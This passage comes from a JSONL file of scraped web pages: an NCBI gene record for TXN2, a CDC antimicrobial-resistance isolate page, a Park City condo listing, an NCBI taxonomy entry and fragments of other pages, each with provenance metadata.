September 2024\n2021-2023 Anti-M\u00fcllerian Hormone [PDF - 1.23 MB] October 2024\n2021-2023 Aspartate Aminotransferase (AST) [PDF - 945 KB] September 2025\n2021-2023 Bicarbonate [PDF - 1.04 MB] September 2025\n2021-2023 Blood Lead, Cadmium, Total Mercury, Selenium and Manganese [PDF - 6.16 MB] September 2024\n2021-2023 Blood Urea Nitrogen (BUN) [PDF - 937 KB] September 2025\n2021-2023 Chloride [PDF - 0.97 MB] September 2025\n2021-2023 Complete Blood Count [PDF - 48.2 MB] September 2024\n2021-2023 Creatinine [PDF - 693 KB] September 2025\n2021-2023 Creatinine Phosphokinase (CPK) [PDF - 944 KB] September 2025\n2021-2023 Fa", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/c436036b-9b84-42e0-8685-695f42639f35", "content_hash": "c65362310b1d3ee4fb2ab65ca836bd318961d1d45f4a55e7e604b12a676c2542", "created_at": "2026-03-28T05:11:11.614583727Z"} +{"id": "b2caa079-b4f5-4f79-bc80-b22df69c60a5", "source": "brain", "text": "TXN2 thioredoxin 2 [Homo sapiens (human)] - Gene - NCBI\n\nTXN2 thioredoxin 2 [Homo sapiens (human)] - Gene - NCBI\nWarning: The NCBI web site requires JavaScript to function. more...\nAn official website of the United States government\nHere's how you know\nThe .gov means it's official.\nFederal government websites often end in .gov or .mil. Before sharing sensitive information, make sure you're on a federal government site.\nThe site is secure.\nThe https:// ensures that you are connecting to the official website and that any information you provide is encrypted and transmitted securely.\nLog in\nShow account info\nClose\nAccount\nLogged in as:\nusername\nDashboard\nPublications\nAccount settings\nLog out\nAccess keys NCBI Homepage MyNCBI Homepage Main Content Main Navigation\nGene\nGenes and mapped phenotypes\nSearch database All DatabasesAssemblyBiocollectionsBioProjectBioSampleBooksClinVarConserved DomainsdbGaPdbVarGeneGenomeGEO DataSetsGEO ProfilesGTRIdentical Protein GroupsMedGenMeSHNLM CatalogNucleotideOMIMPMCProteinProtein ClustersProtein Family ModelsPubChem BioAssayPubChem CompoundPubChem SubstancePubMedSNPSRAStructureTaxonomyToolKitToolKitAllToolKitBookgh\nSearch term\nSearch\nAdvanced\nHelp\nResult Filters\nGene sources\nClear\nGenomic\nCategories\nClear\nAlternatively spliced\nAnnotated genes\nProtein-coding\nSequence content\nClear\nCCDS\nEnsembl\nRefSeq\nRefSeqGene\nStatus\nClear\nCurrent(1)\nChromosome locations\nClear\nmore...\nChromosome locations\nSelect an organism by typing or scrolling\nChromosome\nFrom\nTo\nApply\nClear all\nShow additional filters\nx\nAdditional filters\nGene sources\nCategories\nSequence content\nStatus\nChromosome locations\nSearch fields\nShow\nS I D E B A R\nFull Report\nFormat\nFull Report\nFull Report (text)\nExpression\nGene Table\nGene Table (text)\nGeneRIF\nSummary\nSummary (text)\nTabular\nTabular (text)\nASN.1\nXML\nUI List\nApply\nSend to:\nChoose Destination\nFile\nClipboard\nCollections\nFormat Full Report (text)Gene Table (text)Summary (text)Tabular (text)ASN.1XMLUI List\nCreate File\nAdd to Clipboard\nAdd to Collections\nTXN2 thioredoxin 2 [ Homo sapiens (human) ]\nGene ID: 25828, updated on 18-Jan-2026\nDownload Datasets\nGene Sequences (FASTA)\nTranscript sequences (FASTA)\nProtein sequences(FASTA)\nIn addition, your package will include a detailed data report in both TSV and JSONL formats.\nFile name\nDownload\nSummary\nGo to the top of the page Help\nOfficial Symbol\nTXN2provided by HGNC\nOfficial Full Name\nthioredoxin 2provided by HGNC\nPrimary source\nHGNC:HGNC:17772\nSee related\nEnsembl:ENSG00000100348 MIM:609063; AllianceGenome:HGNC:17772\nGene type\nprotein coding\nRefSeq status\nREVIEWED\nOrganism\nHomo sapiens\nLineage\nEukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Euarchontoglires; Primates; Haplorrhini; Catarrhini; Hominidae; Homo\nAlso known as\nTXN; MTRX; TRX2; MT-TRX; COXPD29\nSummary\nThis nuclear gene encodes a mitochondrial member of the thioredoxin family, a group of small multifunctional redox-active proteins. The encoded protein may play important roles in the regulation of the mitochondrial membrane potential and in protection against oxidant-induced apoptosis. [provided by RefSeq, Jul 2008]\nExpression\nUbiquitous expression in adrenal (RPKM 39.7), kidney (RPKM 28.5) and 25 other tissues See more\nOrthologs\nall\nTry the new Gene page\nTry the new Transcripts and proteins table\nGenomic context\nGo to the top of the page Help\nSee TXN2 in Genome Data Viewer\nLocation:\n22q12.3\nExon count:\n4\nAnnotation release\nStatus\nAssembly\nChr\nLocation\nRS_2025_08 current GRCh38.p14 (GCF_000001405.40) 22 NC_000022.11 (36467046..36481640, complement)\nRS_2025_08 current T2T-CHM13v2.0 (GCF_009914755.1) 22 NC_060946.1 (36927219..36941813, complement)\nRS_2024_09 previous assembly GRCh37.p13 (GCF_000001405.25) 22 NC_000022.10 (36863093..36877687, complement)\nChromosome 22 - NC_000022.11\nGenomic regions, transcripts, and products\nGo to the top of the page Help\nGo to reference sequence details\nGenomic Sequence: NC_000022.11 Chromosome 22 Reference GRCh38.p14 Primary Assembly NG_046718.1 RefSeqGene NC_060946.1 Chromosome 22 Alternate T2T-CHM13v2.0 NC_000022.10 Chromosome 22 Reference GRCh37.p13 Primary Assembly\nGo to nucleotide: Graphics FASTA GenBank\nExpression\nGo to the top of the page Help\nSee details\nTissue-specific circular RNA induction during human fetal development RNA sequencing of total RNA from 20 human tissues HPA RNA-seq normal tissues\nProject title: Tissue-specific circular RNA induction during human fetal development\nDescription: 35 human fetal samples from 6 tissues (3 - 7 replicates per tissue) collected between 10 and 20 weeks gestational time were sequenced using Illumina TruSeq Stranded Total RNA\nBioProject: PRJNA270632\nPublication: PMID 26076956\nAnalysis date: Mon Apr 2 22:54:59 2018\nBibliography\nGo to the top of the pageHelp\nRelated articles in PubMed\nHypoxia inhibits expression and function of mitochondrial thioredoxin 2 to promote pulmonary hypertension. Adesina SE, et al. Am J Physiol Lung Cell Mol Physiol, 2017 May 1. PMID 28130258, Free PMC Article\nHuman mitochondrial thioredoxin. Involvement in mitochondrial membrane potential and cell death. Damdimopoulos AE, et al. J Biol Chem, 2002 Sep 6. PMID 12080052\nThioredoxin 2 Offers Protection against Mitochondrial Oxidative Stress in H9c2 Cells and against Myocardial Hypertrophy Induced by Hyperglycemia. Li H, et al. Int J Mol Sci, 2017 Sep 15. PMID 28914755, Free PMC Article\nGenetic polymorphisms in the thioredoxin 2 (TXN2) gene and risk for spina bifida. Wen S, et al. Am J Med Genet A, 2009 Feb. PMID 19165900, Free PMC Article\nThioredoxin 2 Is a Novel E2-Interacting Protein That Inhibits the Replication of Classical Swine Fever Virus. Li S, et al. J Virol, 2015 Aug. PMID 26041303, Free PMC Article\nSee all (68) citations in PubMed\nGeneRIFs: Gene References Into Functions\nWhat's a GeneRIF?\nscAAV2-Mediated Expression of Thioredoxin 2 and C3 Transferase Prevents Retinal Ganglion Cell Death and Lowers Intraocular Pressure in a Mouse Model of Glaucoma.\nTitle: scAAV2-Mediated Expression of Thioredoxin 2 and C3 Transferase Prevents Retinal Ganglion Cell Death and Lowers Intraocular Pressure in a Mouse Model of Glaucoma.\nAssociation between genetic variants in oxidative stress-related genes and osteoporotic bone fracture. The Hortega follow-up study.\nTitle: Association between genetic variants in oxidative stress-related genes and osteoporotic bone fracture. The Hortega follow-up study.\nMitochondrial TXN2 attenuates amyloidogenesis via selective inhibition of BACE1 expression.\nTitle: Mitochondrial TXN2 attenuates amyloidogenesis via selective inhibition of BACE1 expression.\nMechanisms of Trx2/ASK1-Mediated Mitochondrial Injury in Pemphigus Vulgaris.\nTitle: Mechanisms of Trx2/ASK1-Mediated Mitochondrial Injury in Pemphigus Vulgaris.\nThioredoxin 2 Negatively Regulates Innate Immunity to RNA Viruses by Disrupting the Assembly of the Virus-Induced Signaling Adaptor Complex.\nTitle: Thioredoxin 2 Negatively Regulates Innate Immunity to RNA Viruses by Disrupting the Assembly of the Virus-Induced Signaling Adaptor Complex.\nOverexpression of mitochondrial Trx2 attenuates the intracellular ROS accumulation and ATP production. Most interestingly, mitochondrial Trx2 may be involved in the cardiac hypertrophy signaling of diabetes.\nTitle: Thioredoxin 2 Offers Protection against Mitochondrial Oxidative Stress in H9c2 Cells and against Myocardial Hypertrophy Induced by Hyperglycemia.\nPrx3 and Trx2 comprise an adaptive system to sense changes in atmospheric oxygen tension and influence cellular injury responses through both detoxification of mitochondrial oxidants and regulation of mitochondrial redox-dependent signaling\nTitle: Detoxification of Mitochondrial Oxidants and Apoptotic Signaling Are Facilitated by Thioredoxin-2 and Peroxiredoxin-3 during Hyperoxic Injury.\nTrx2 overexpression failed to attenuate hypoxia-induced human pulmonary arterial smooth muscle cells proliferation in vitro or hypoxia-induced Pulmonary hypertension in vivo.\nTitle: Hypoxia inhibits expression and function o", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/b2caa079-b4f5-4f79-bc80-b22df69c60a5", "content_hash": "42ae8e6503eaea4cd024c94f852f6f1eb022af002c693e6d023ba216e6b89c2b", "created_at": "2026-03-28T05:11:11.557449048Z"} +{"id": "6590e995-db9d-41d3-a025-cc14ec2e91a9", "source": "brain", "text": "Isolate Details | Antimicrobial Resistance Isolate Bank | Antibiotic/Antimicrobial Resistance | CDC\n\nIsolate Details | Antimicrobial Resistance Isolate Bank | Antibiotic/Antimicrobial Resistance | CDC\nSkip directly to site content\nAre You Still There?\nDue to inactivity, you will be signed out in two minutes unless you click 'Continue'.\nContinue\nAre you still there?\nDue to inactivity, you will be signed out in two minutes unless\nyou click 'Continue'.\nContinue\nSign In Register to Create an Account\nMENU\nA\nB\nC\nStart of Search Controls\nSearch Form Controls\nsubset checkbox\nCancel\nSubmit\nSearch The CDC\nCDC & FDA Antimicrobial Resistance Isolate Bank\nNote: Javascript is disabled or is not supported by your browser. For this reason, some items on this page will be unavailable. For more information about this message, please visit this page: About CDC.gov.\nAR Isolate Bank Home\nAbout the Bank\nNavigating the Website\nQuestions & Answers\nShipping Information\nAR Isolate Bank Citations\nAll Isolate Panels\nIsolate Search\nContact Us\nView another isolate in this panel > View Another Isolate 0034 - Klebsiella pneumoniae 0040 - Klebsiella pneumoniae 0045 - Acinetobacter baumannii 0054 - Pseudomonas aeruginosa 0056 - Acinetobacter baumannii 0060 - Enterobacter cloacae 0064 - Pseudomonas aeruginosa 0075 - Klebsiella pneumoniae 0078 - Acinetobacter baumannii 0083 - Acinetobacter baumannii 0088 - Acinetobacter baumannii 0090 - Pseudomonas aeruginosa 0092 - Pseudomonas aeruginosa 0095 - Pseudomonas aeruginosa 0098 - Klebsiella pneumoniae 0100 - Pseudomonas aeruginosa 0104 - Escherichia coli 0105 - Pseudomonas aeruginosa 0118 - Escherichia coli 0132 - Enterobacter cloacae group 0143 - Klebsiella pneumoniae 0150 - Escherichia coli 0151 - Escherichia coli 0155 - Proteus mirabilis 0159 - Proteus mirabilis 0162 - Escherichia coli 0239 - Pseudomonas aeruginosa 0241 - Pseudomonas aeruginosa 0246 - Pseudomonas aeruginosa 0274 - Acinetobacter baumannii 0285 - Acinetobacter baumannii 0288 - Acinetobacter baumannii 0309 - Acinetobacter baumannii 0517 - Serratia marcescens 0555 - Klebsiella pneumoniae 0858 - Enterobacter cloacae\nPanel: Cefiderocol Verification (FDC) (Custom)\nAR Bank # 0033 Acinetobacter baumannii\nStudy ID: CarbaNP-02\nBiosample Accession #: SAMN04014874\nMLST: ST85(Pasteur), ST1089(Oxford)\nThis panels contains isolates from other AR Bank collections/panels.\nMICs obtained by broth microdilution. Modal MIC is reported.\nMIC results for each antimicrobial agent for an isolate may commonly be \u00b1 1 log2 (doubling dilution) different than what is posted on the FDA & CDC AR Bank website because this is the normal technical variability of antimicrobial susceptibility testing (see J. H. Jorgensen. 1993. J Clin Microbiol. Vol 31[11]: 2841-2844).\nPanel: Gram Negative Carbapenemase Detection (CarbaNP) | ARLN Verification (Custom) | Cefiderocol Verification (FDC) (Custom) | GN7F ARLN (Custom) | GAIHN (Custom)\nMIC\nMMR\nPropagation\nTemp & Biosafety\nIsolate History\nMIC (\u03bcg/ml) Results and Interpretation\nDrug\nMIC (\u03bcg/ml)\nINT\nAmikacin 2 S\nAmpicillin/sulbactam 1 >32 R\nCefepime >32 R\nCefepime/zidebactam 5 >64 ---\nCefiderocol 16 R\nCefotaxime >64 R\nCeftazidime >128 R\nCeftriaxone >32 R\nCiprofloxacin >8 R\nColistin 4 1 I\nDoripenem >8 R\nGentamicin 16 R\nImipenem 64 R\nImipenem+chelators 3 4 ---\nLevofloxacin 8 R\nMeropenem >8 R\nMinocycline <=4 S\nPiperacillin/tazobactam 1 >128 R\nTetracycline <=2 S\nTigecycline 2 <=0.5 ---\nTobramycin 16 R\nTrimethoprim/sulfamethoxazole 1 >8 R\n1 Reflects MIC of first component\n2 Based on FDA break points\n3 Screen for metallo-beta-lactamase production [Rasheed et al. Emerging Infectious Diseases. 2013. 19(6):870-878]\n4 Clinical and PK/PD data demonstrate colistin has limited clinical efficacy, even if an intermediate result is obtained. Alternative agents are strongly preferred. Colistin should be used in combination with one or more active antimicrobial agents. Consultation with an infectious disease specialist is recommended.\n5 Cefepime to zidebactam ratio (1:1)\nDevice manufacturers and users of FDA cleared devices shall consult the FDA\u2019s Antibacterial Susceptibility Test Interpretive Criteria website for breakpoints recognized or recommended by FDA, and for information regarding FDA exceptions or additions to the applicable, recognized consensus standard.\nMolecular Mechanisms of Resistance\nCategory Gene\nAminoglycoside ant(3\")-IIa\nBeta-lactam NDM-1, OXA-94\nBleomycin ble-MBL\nEfflux pumps/Other ABAF\nSulfonamides sul2\nDisclaimer:\nThe resistance mechanisms listed were identified by analysis of whole genome sequence using the ResFinder database (last updated June 2, 2016 and accessed on October 25, 2016). This analysis does not include mutations that may result in antibiotic resistance or resistance determinants added to newer versions of the ResFinder database or other antimicrobial resistance gene databases. Biosample accession numbers have been provided so that users can analyze the data on their own if so desired.\nFor additional gene information please visit the Reference Gene Catalog - Pathogen Detection - NCBI (https://www.ncbi.nlm.nih.gov/pathogens/refgene), a non-redundant database of bacterial genes related to antimicrobial resistance, biocide and stress resistance, general efflux, virulence, or antigenicity.\nPropagation\nMEDIUM\nMedium: Trypticase Soy Agar with 5% Sheep Blood (BAP)\nGROWTH CONDITIONS\nTemperature: 35\u00b0C\nAtmosphere: Aerobic\nPROPAGATION PROCEDURE\nRemove the sample vial to a container with dry ice or a freezer block. Keep vial on ice or block. (Do not let vial content thaw) Open vial aseptically to avoid contamination Using a sterile loop, remove a small amount of frozen isolate from the top of the vial Aseptically transfer the loop to BAP Use streak plate method to isolate single colonies Incubate inverted plate at 35\u00b0C \u00b1 2\u00b0C for 20-24 hrs.\nStorage Temperature & Biosafety\nSTORAGE TEMPERATURE: -70\u00b0C\nBIOSAFETY LEVEL: 2\nAppropriate safety procedures should always be used with this material. Laboratory safety is discussed in the current publication of 'BioSafety in Microbiological and Biomedical Laboratories' from the U.S. Department of Health and Human Services, Centers for Disease Control and Prevention, and National Institutes of Health.\nDisclaimer:\nThis product is sent with the condition that you are responsible for its safe storage, handling, and use. All materials are the property of the Centers for Disease Control and Prevention (CDC) and have been made available on behalf of the Food and Drug Administration (FDA). This material is not for use in human subjects and may not be redistributed. While CDC uses reasonable efforts to include accurate and up-to-date information on this product sheet, CDC makes no warranties or representations as to its accuracy. CDC is not liable for damages arising from the misidentification or misrepresentation of cultures. Please refer to the Standard Letter Agreement (SLA) for further details regarding the use of this product.\nIsolate History\nDate\nAction Performed\n10/18/23 INT was updated with a new value for Minocycline: from '---' to 'S'\n10/18/23 MIC was updated with a new value for Minocycline: from '---' to '<=4'\n10/18/23 Drug was added: Minocycline\n03/09/23 Gene was added to 'ABAF'\n03/09/23 Category was added: 'Efflux pumps/Other'\n03/09/23 Gene was added to 'ble-MBL'\n03/09/23 Gene was added to 'ant(3\")-IIa'\n03/09/23 Category was added: 'Bleomycin'\n03/09/23 Category was added: 'Aminoglycoside'\n12/19/22 MLST was updated: from '---' to 'ST1089(Oxford)'\n12/19/22 MLST was updated: from '---' to 'ST85(Pasteur)'\n12/07/22 MIC was updated with a new value for Cefepime/zidebactam: from '---' to '>64'\n12/07/22 Drug was added: Cefepime/zidebactam\nTop of Page\nFile Formats Help:\nHow do I view different file formats (PDF, DOC, PPT, MPEG) on this site?\nAdobe PDF file\nMicrosoft PowerPoint file\nMicrosoft Word file\nMicrosoft Excel file\nAudio/Video file\nApple Quicktime file\nRealPlayer file\nText file\nZip Archive file\nSAS file\nePub file\nRIS file\nEmail\nRecommend\nTweet\nYouTube\nInstagram\nListen\nWatch\nRSS\nABOUT\nAbout CDC\nJobs\nFunding\nLEGAL\nPolicie", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/6590e995-db9d-41d3-a025-cc14ec2e91a9", "content_hash": "417ffa26be8f4a09425d4b123267b6ea5a8309f4f716cef57ac4b56173828e4a", "created_at": "2026-03-28T05:11:11.437619427Z"} +{"id": "52356910-314a-4d61-841d-dac37c71ef57", "source": "brain", "text": "4273 Willow Draw Drive #606, Park City, UT 84098 | Realty One Group\n\n4273 Willow Draw Drive #606, Park City, UT 84098 | Realty One Group\nPerformAction\n(\nSign In / Sign Up\nWHAT\u2019S MY HOME WORTH?\nPROPERTY SEARCH PROPERTY SEARCH\nHIDDEN VALLEY COUNTRY CLUB HIDDEN VALLEY COUNTRY CLUB\n$500K to $1 Mil\nWillow Creek Country Club\nOUR CITIES OUR CITIES\nDuchesne\nRoosevelt\nBOUNTIFUL BOUNTIFUL\nON THE MARKET\nBLUFFDALE BLUFFDALE\nON THE MARKET\nHERRIMAN HERRIMAN\nON THE MARKET\nHOLLADAY HOLLADAY\nON THE MARKET\nMidvale Midvale\nON THE MARKET\nCottonwood Heights Cottonwood Heights\nON THE MARKET\nPARK CITY PARK CITY\nON THE MARKET\nVERNAL VERNAL\nON THE MARKET\nGET APPROVED\nMortgage Calculator\nCONTACT\nWHAT\u2019S MY HOME WORTH?\nPROPERTY SEARCH PROPERTY SEARCH\nHIDDEN VALLEY COUNTRY CLUB HIDDEN VALLEY COUNTRY CLUB\n$500K to $1 Mil\nWillow Creek Country Club\nOUR CITIES OUR CITIES\nDuchesne\nRoosevelt\nBOUNTIFUL BOUNTIFUL\nON THE MARKET\nBLUFFDALE BLUFFDALE\nON THE MARKET\nHERRIMAN HERRIMAN\nON THE MARKET\nHOLLADAY HOLLADAY\nON THE MARKET\nMidvale Midvale\nON THE MARKET\nCottonwood Heights Cottonwood Heights\nON THE MARKET\nPARK CITY PARK CITY\nON THE MARKET\nVERNAL VERNAL\nON THE MARKET\nGET APPROVED\nMortgage Calculator\nCONTACT\nSign In / Sign Up\n(\nWHAT\u2019S MY HOME WORTH?\nPROPERTY SEARCH PROPERTY SEARCH\nHIDDEN VALLEY COUNTRY CLUB HIDDEN VALLEY COUNTRY CLUB\n$500K to $1 Mil\nWillow Creek Country Club\nOUR CITIES OUR CITIES\nDuchesne\nRoosevelt\nBOUNTIFUL BOUNTIFUL\nON THE MARKET\nBLUFFDALE BLUFFDALE\nON THE MARKET\nHERRIMAN HERRIMAN\nON THE MARKET\nHOLLADAY HOLLADAY\nON THE MARKET\nMidvale Midvale\nON THE MARKET\nCottonwood Heights Cottonwood Heights\nON THE MARKET\nPARK CITY PARK CITY\nON THE MARKET\nVERNAL VERNAL\nON THE MARKET\nGET APPROVED\nMortgage Calculator\nCONTACT\nWHAT\u2019S MY HOME WORTH?\nPROPERTY SEARCH PROPERTY SEARCH\nHIDDEN VALLEY COUNTRY CLUB HIDDEN VALLEY COUNTRY CLUB\n$500K to $1 Mil\nWillow Creek Country Club\nOUR CITIES OUR CITIES\nDuchesne\nRoosevelt\nBOUNTIFUL BOUNTIFUL\nON THE MARKET\nBLUFFDALE BLUFFDALE\nON THE MARKET\nHERRIMAN HERRIMAN\nON THE MARKET\nHOLLADAY HOLLADAY\nON THE MARKET\nMidvale Midvale\nON THE MARKET\nCottonwood Heights Cottonwood Heights\nON THE MARKET\nPARK CITY PARK CITY\nON THE MARKET\nVERNAL VERNAL\nON THE MARKET\nGET APPROVED\nMortgage Calculator\nCONTACT\nSign Up for a free account to view listing.\n4273 Willow Draw Drive #606, Park City, UT 84098 (Sold on )\nActive\nNew Listing\n2,750,000\n3 + {{Property?.Bedroomsplus}} BedBeds\n4 BathBaths\n2,451 Sq.Ft.Sq.Ft.\nTypeCondo/Townhouse\nActive\nMLS# 12600347\nListing Courtesy of Summit Sotheby's International Realty\nProperty Info\nListing Agent\nMap\nSave Listing\nWebsite\nShare Listing\nVirtual Tour\nProperty Info\nlisting agent\nMap\nWebsite\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\ngallery\nPhotos\nPrint\nRequest Info\nVirtual Tours\nProperty Description\nLocated in the coveted Juniper Landing community at Canyons Village, this thoughtfully upgraded, fully furnished residence offers the perfect blend of modern design, comfort, and convenience. The spacious layout features clean architectural lines, high ceilings, and abundant natural light, creating a warm and refined atmosphere ideal for both everyday living and entertaining. The open-concept living area flows seamlessly into a well-appointed kitchen with sleek finishes, premium appliances, and ample workspace. Numerous upgrades throughout the home include a whole-home humidifier and reverse osmosis water filtration system, enhancing both comfort and quality of living. Step outside on your oversized deck or large private patio with a hot tub, perfect for unwinding after a day on the mountain. Two separate, heated one-car garages provide generous storage for gear and offer added convenience for owners and guests alike. Juniper Landing residents enjoy access to exceptional amenities, including a 25-yard heated outdoor saltwater pool, year-round hot tub, fire pit, fitness center, dry sauna, and steam shower. Ideally situated just a short walk to the Frostwood Gondola, with easy access to skiing, hiking, and biking, this home is a year-round retreat in one of Park City's most desirable locations.\nVisit My Website My Listings Visit Our Website Our Listings\n{{Item.Name}}\n{{Item.ListingMarketLabel}}\n{{Item.LicenseNoPrefix}}{{Item.LicensedNo}}\n{{Item.Office.Street}} {{Item.Office.City}} {{Item.Office.State}} {{Item.Office.Zip}}\nOffice{{Item.PhoneOffice}}\nMobile{{Item.MobilePhone}}\nFax{{Item.Fax}}\nEmail Me\nEmail Us\n{{Item.Name}} {{Item.PhotoUrlForSchema}}?mw=800&mh=500 {{Item.WebsiteUrl}}\n{{Item.PriorityLocation}}\n{{Item.Street}} {{Item.State}} United States {{Item.Zip}}\n{{Item.PriorityPhoneLink}} {{Item.Email}} sales {{Item.State}}\nThank you for requesting a showing of this property. A representative will be in touch with you shortly to confirm the requested showing date and time.\nPlease note that your appointment is not confirmed until someone contacts you.\nRequest Info / Schedule Showing\nFirst Name\nLast Name\nEmail\nPhone\nSelect Office Farmington Office Midvale Office Signature South Valley Office Vernal Office\nI am interested in 4273 Willow Draw Drive #606, Park City, UT 84098\nRemarks\nSchedule Showing\nShowing Date\n8:00 AM 8:30 AM 9:00 AM 9:30 AM 10:00 AM 10:30 AM 11:00 AM 11:30 AM 12:00 PM 12:30 PM 1:00 PM 1:30 PM 2:00 PM 2:30 PM 3:00 PM 3:30 PM 4:00 PM 4:30 PM 5:00 PM 5:30 PM 6:00 PM 6:30 PM 7:00 PM 7:30 PM 8:00 PM Showing Time\nSubmit\nProperty Details 4273 Willow Draw Drive #606, Park City, UT 84098\nGeneral\n{{Item.Label}}: {{Item.Value}}\nInterior Features\n{{Item.Label}}: {{Item.Value}}\nExterior Features\n{{Item.Label}}: {{Item.Value}}\nAdditional Features\n{{Item.Label}}: {{Item.Value}}\nSchools\n{{Item.Label}}: {{Item.Value}}\nAgent Compensation\n{{Item.Label}}: {{Item.Value}}\nFinancial Considerations\n{{Item.Label}}: {{Item.Value}}\nFinancial Considerations\n{{Item.Label}}: {{Item.Value}}\nSize & Lot\n{{Item.Label}}: {{Item.Value}}\nUtilities\n{{Item.Label}}: {{Item.Value}}\nActivity\n{{Item.Label}}: {{Item.Value}}\nArea Map\nEstimated Monthly Mortgage Calculator\nThis calculator is provided by Burrow Services, Inc. for informational purposes. You should not make any decisions based simply on the information provided. Values indicated are estimates and may not be accurate and are only to be used as a guide. This calculator should not be relied upon in any way as the sole source of information. Please consult your financial, tax, or legal advisers for an accurate assessment of your mortgage payments and any advice relating to your personal circumstances.\nSimilar Listings\nSign up for a free account to view listing.\nOpen House\nPrice Reduced$20,000\nNew Listing\nPending\nComing Soon On\nVirtual Tour\nPENDING UNDER CONTRACT\nsold\nleased\n4273 WILLOW DRAW RD #604, Park City, UT 84098\n$3,379,000\nMLS# 2115961Condo/Townhouse\n2,667 Sq. Ft.\n4 BEDS4 BATHS\nListing Courtesy of Coldwell Banker Realty (Park City-Newpark)\nRequest Info\nDelete\nDetails\nSign up for a free account to view listing.\nOpen House\nPrice Reduced$20,000\nNew Listing\nPending\nComing Soon On\nVirtual Tour\nPENDING UNDER CONTRACT\nsold\nleased\n4273 Willow Draw Road #604, Park City, UT 84098\n$3,379,000\nMLS# 12504375Condo/Townhouse\n2,667 Sq. Ft.\n4 BEDS4 BATHS\nListing Courtesy of Coldwell Banker Realty (Park City-NewPark)\nRequest Info\nDelete\nDetails\nSign up for a free account to view listing.\nOpen House\nPrice Reduced\nNew Listing\nPending\nComing Soon On\nVirtual Tour\nPENDING UNDER CONTRACT\nsold\nleased\n1990 Stone Creek Road #19, Park City, UT 84098\n$3,125,000\nMLS# 12502572Condo/Townhouse\n2,317 Sq. Ft.\n3 BEDS4 BATHS\nListing Courtesy of KW Park City Keller Williams Real Estate | \nRequest Info\nDelete\nDetails\nSign up for a fre", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/52356910-314a-4d61-841d-dac37c71ef57", "content_hash": "4cedb2c5929fac4f45c204b05114b2716333049ae56c2bd4bf7958a9ae17ceb9", "created_at": "2026-03-28T05:11:11.358796978Z"} +{"id": "e4a44e5a-613c-44f4-8127-c6397e4d9bcb", "source": "brain", "text": "Taxonomy browser Taxonomy Browser (Jacqueshuberia loretensis)\n\nTaxonomy browser Taxonomy Browser (Jacqueshuberia loretensis)\nTry the New NCBI Taxonomy Pages!\nExplore our redesigned taxonomy browser and taxonomy record pages with faster, more intuitive search, taxonomy images, and links to NCBI Datasets and other data available at NCBI.\nEntrez PubMed Nucleotide Protein Genome Structure PMC Taxonomy BioCollections\nSearch for as complete name wild card token set taxonomy id lock\nEntrez records\nDatabase name Direct links Subtree links Links from type\nBioProject 1 1 -\nBioSample 1 1 -\nIdentical Protein Groups 2 2 -\nNucleotide 4 4 -\nProtein 2 2 -\nSRA 1 1 -\nTaxonomy 1 1 -\nJacqueshuberia loretensis\nTaxonomy ID: 321561 (for references in articles please use ncbitaxon:321561)\ncurrent name\nJacqueshuberia loretensis R.S.Cowan, 1985\nNCBI BLAST name: eudicots\nRank: species\nGenetic code: Translation table 1 (Standard)\nMitochondrial genetic code: Translation table 1 (Standard)\nLineage(full)\ncellular organisms; Eukaryota; Viridiplantae; Streptophyta; Streptophytina; Embryophyta; Tracheophyta; Euphyllophyta; Spermatophyta; Magnoliopsida; Mesangiospermae; eudicotyledons; Gunneridae; Pentapetalae; rosids; fabids; Fabales; Fabaceae; Caesalpinioideae; Tachigali clade; Jacqueshuberia\nComments and References:\nTROPICOS (Jul 07, 2017)\nName accessed on 7 July 2017 in: Tropicos.org. Missouri Botanical Garden, 2008 - 4344 Shaw Boulevard, Saint Louis, Missouri 63110, U.S.A. on line at: http://www.tropicos.org\nExternal Information Resources (NCBI LinkOut)\nLinkOut Subject LinkOut Provider\nJacqueshuberia loretensis Cowan taxonomy/phylogenetic Encyclopedia of life\nJacqueshuberia loretensis taxonomy/phylogenetic Plants of the World Online\nJacqueshuberia loretensis taxonomy/phylogenetic The International Plant Names Index\nsearch W3TROPICOS taxonomy/phylogenetic Vascular Tropicos\nWikipedia taxonomy/phylogenetic iPhylo\nNotes:\nGroups interested in participating in the LinkOut program should visit the LinkOut home page.\nA list of our current non-bibliographic LinkOut providers can be found here.\nDisclaimer: The NCBI taxonomy database is not an authoritative source for nomenclature or classification - please consult the relevant scientific literature for the most reliable information.\nReference: How to cite this resource - Schoch CL, et al. NCBI Taxonomy: a comprehensive update on curation, resources and tools. Database (Oxford). 2020: baaa062. PubMed: 32761142 PMC: PMC7408187.\nComments and questions to \n[Help] [Search] [NLM NIH] [Disclaimer]", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/e4a44e5a-613c-44f4-8127-c6397e4d9bcb", "content_hash": "93aec33827c434026db63dedb46fdc799a4b4ebca240cc4eeda73ebfac6e4e5f", "created_at": "2026-03-28T05:11:11.330829991Z"} +{"id": "5e677b51-6c41-440b-b18b-ce3f7435494c", "source": "brain", "text": "Equivalent Circuit to Analyze the Transmitting Characteristics of a Cymbal Array | MDPI\n\nEquivalent Circuit to Analyze the Transmitting Characteristics of a Cymbal Array | MDPI\nSkip Content\nYou are currently on the new version of our website. Access the old version\nhere\n.\nClose\nJournals\nAll Journals\nJournal Finder\nProceedings Series\nPropose a Journal\nTopics\nBy Subjects\nBiology & Life Sciences\nBusiness & Economics\nChemistry & Materials\nComputer Science & Mathematics\nEngineering\nEnvironmental & Earth Sciences\nMedicine & Pharmacology\nPhysical Sciences\nPublic Health & Healthcare\nSocial Sciences, Arts & Humanities\nOur Topics\nAll Topics\nAbout Topics\nTopics Awards\nSubject 